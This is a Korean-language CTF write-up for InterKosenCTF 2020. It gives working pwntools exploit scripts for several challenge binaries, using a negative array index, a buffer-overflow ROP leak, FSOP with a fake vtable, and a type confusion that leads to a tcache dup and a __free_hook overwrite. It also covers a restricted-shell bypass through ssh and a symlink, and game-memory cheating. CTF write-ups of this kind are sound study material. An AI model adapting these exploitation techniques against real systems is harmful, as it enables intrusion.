InterKosenCTF 2020 CTF를 참여했다. 꽤 재미있었고 pwn 카테고리의 문제 및 개인적으로 재미있었던 misc 문제의 write up을 작성한다.
babysort (105 pts, 49 solves)
SortExperiment 구조체의 elm 배열에 값을 5번 입력받고, cmp 배열에 저장된 함수를 호출하여 정렬을 하고 종료하는 프로그램이다.
정렬은 오름차순과 내림차순이 있는데, 이때 음수 인덱스를 이용하면 elm 배열의 값에 접근할 수 있다. 이를 통해 win 함수를 호출시킬 수 있다.
from pwn import *
p = remote('pwn.kosenctf.com', 9001)
e = ELF('./chall')
win = e.sym['win']
for i in range(5):
p.sendlineafter('= ', str(win))
p.sendlineafter(': ', '-1')
p.interactive()
authme (300 pts, 20 solves)
fgets에서 bof가 발생한다. 그 뒤 ID와 PW 값을 비교한 후 틀리면 exit() 함수를 이용하여 프로그램을 종료한다.
해결 방법은 첫 번째 fgets 함수에서 bof
를 발생시키고, 두 번째 fgets에서 NULL을 반환 시켜서 exit()가 아닌 return을 하도록 만드는 것이다. fgets의 입력을 받을 때 pwntools의 shutdown
함수를 호출하면 NULL을 반환하게 되고 이를 통해 ID와 PW를 leak할 수 있다. (thx to myria)
from pwn import *
p = remote("pwn.kosenctf.com", 9002)
e = ELF('./chall')
pr = 0x400b03
puts = e.plt['puts']
username = e.sym['username']
password = e.sym['password']
p.send("A" * 0x28 + p64(pr) + p64(username) + p64(puts)[:7])
p.shutdown()
p.recvuntil('Password: ')
print p.recvline()
p = remote("pwn.kosenctf.com", 9002)
p.send("A" * 0x28 + p64(pr) + p64(password) + p64(puts)[:7])
p.shutdown()
p.recvuntil('Password: ')
print p.recvline()
Fables of aeSOP (335 pts, 16 solves)
bss 영역에 gets로 입력받고 fclose()를 호출한다.
문제 이름만 봐도 FSOP
문제임을 알 수 있으며, win 함수도 제공해주기 때문에 그냥 FSOP를 하면 된다.
from pwn import *
#p = process('./chall')
p = remote("pwn.kosenctf.com", 9003)
e = ELF('./chall')
libc = e.libc
p.recvuntil('= ')
win = int(p.recvline(), 16)
pie_base = win & 0xfffffffff000
fake = pie_base + 0x202060
payload = ''
payload += p64(0) * 17
payload += p64(fake) # null pointer
payload += p64(0) * 9
payload += p64(fake + 0x100) # fake vtable
payload += p64(win) * 30
payload += 'A' * (0x200 - len(payload))
payload += p64(fake)
p.sendline(payload)
p.interactive()
pash (373 pts, 12 solves)
ssh에 접속하면 pash라는 프로그램이 실행되며 whoami, ls, pwd, cat, exit 명령을 사용할 수 있다.
whoami 명령을 사용해보면 pwn 권한 임을 알 수 있다. 또한 ls 명령을 이용해보면 현재 실행되어 있는 pash가 admin 권한으로 set gid
가 걸려있는걸 확인 할 수 있다. 하지만 명령에 flag.txt가 포함되면 안된다.
이 문제를 풀기 위해서는 먼저 /bin/sh
로 접속해야한다. 다음과 같은 명령을 사용하면 된다. (thx to realsung)
ssh pwn@pwn.kosenctf.com -p9022 /bin/sh
그 이후 tmp 디렉토리에서 flag.txt 파일을 symbolic link
를 걸고 해당 파일을 읽으면 된다. (thx to posix)
confusing (393 pts, 10 solves)
굉장히 재미있는 문제였다. 출체자의 정성이 느껴지는 문제였다. 이 문제는 String, Interger, double 세가지 type의 변수에 대하여 set, print, delete를 할 수 있는 기능을 구현해놓았다.
먼저 type.h의 주석을 확인해보자.
/*
* Do you know how WebKit keeps variables in memory?
*
* > The top 16-bits denote the type of the encoded JSValue:
* >
* > Pointer { 0000:PPPP:PPPP:PPPP
* > / 0001:****:****:****
* > Double { ...
* > \ FFFE:****:****:****
* > Integer { FFFF:0000:IIII:IIII
*
* How smart it is! I implemented this structure in C :)
* I hope I made it right......
*
* Read the following code for more information:
* - https://github.com/adobe/webkit/blob/master/Source/JavaScriptCore/runtime/JSValue.h
*/
출제자가 친절하게 설명해놓았다. Pointer(String)는 첫 2byte가 0000이고, Integer는 첫 2byte가 FFFF이고 Double은 그외의 값을 가진다. 문제 이름 및 문제 컨셉을 보면 Type Confusion
을 유도한 문제이며 Double 값을 Pointer로 인식 시켜서 aar을 만들 수 있다.
free_got
를 double로 set하고 print를 하면 leak이 가능하다.
from struct import struct
def p64_(s):
return str("%.800f" % unpack("<d", p64(s))[0])
Set(0, 2, p64_(e.got['free']))
Show()
이제 aaw만 하면 된다. 디버깅을 해보니 String을 set할 때 힙에 할당되었다. 이때 힙 주소는 bss에 남는데, 이 힙 주소를 Type Confusion
을 이용하여 leak할 수 있다. 그 다음 해당 주소를 double로 할당하게 되면 동일한 주소를 가리키는 포인터가 2개가 된다. 이를 통해 tcache dup
을 트리거 가능하고 free_hook
에 one_gadget
을 덮으면 된다.
from pwn import *
from struct import *
#p = process('./chall')
p = remote("pwn.kosenctf.com", 9005)
e = ELF('./chall')
libc = e.libc
def Set(idx, Type, data):
p.sendlineafter('> ', '1')
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', str(Type))
p.sendlineafter(': ', str(data))
def Show():
p.sendlineafter('> ', '2')
def Delete(idx):
p.sendlineafter('> ', '3')
p.sendlineafter(': ', str(idx))
def p64_(s):
return str("%.800f" % unpack("<d", p64(s))[0])
Set(0, 2, p64_(e.got['free']))
Set(1, 1, 'A')
Set(2, 2, p64_(0x6020a8))
Show()
p.recvuntil('"')
leak = p.recvuntil('"')[:-1]
leak = (u64(leak.ljust(8, '\x00')))
libc_base = leak - libc.sym['free']
one_off = [324453, 324546, 1090652]
one_gadget = libc_base + one_off[1]
free_hook = libc_base + libc.sym['__free_hook']
p.recvuntil('2')
p.recvuntil('"')
leak = p.recvuntil('"')[:-1]
leak = (u64(leak.ljust(8, '\x00')))
Set(3, 2, p64_(leak))
Delete(1)
Delete(3)
Set(4, 1, p64(free_hook))
Set(5, 1, p64(0))
p.sendlineafter('> ', p64(one_gadget))
p.interactive()
Tip Toe (353 pts, 14 solves)
이 문제는 pwn 카테고리는 아니지만 개인적으로 재밌게 풀어서 write up을 쓴다. 게임 문제인데, 몇 판 해보니깐 쉬워보여서 그냥 깨보았는데, 조금 더 빨리 깨라고 한다.
그래서 일단 cheat engine
을 켜서 KosenCTF{
를 검색해보았다. 성공적으로 검색이 되며 이때 메모리의 값들을 보면 다음과 같다.
여기서 주목할 것은 argv[1]='debug'
이다. argv[1]에 debug를 넣고 실행해보면 다음과 같다.
이제 time
값을 검색해서 음수로 만들어주고 게임을 클리어 하면 된다. Unknown initial value
로 시작해서, Increased value
, Smaller than...
등으로 검색해보면 timer 값을 찾을 수 있다.
이제 본인의 출중한 게임 실력을 통해 게임을 클리어하면 된다…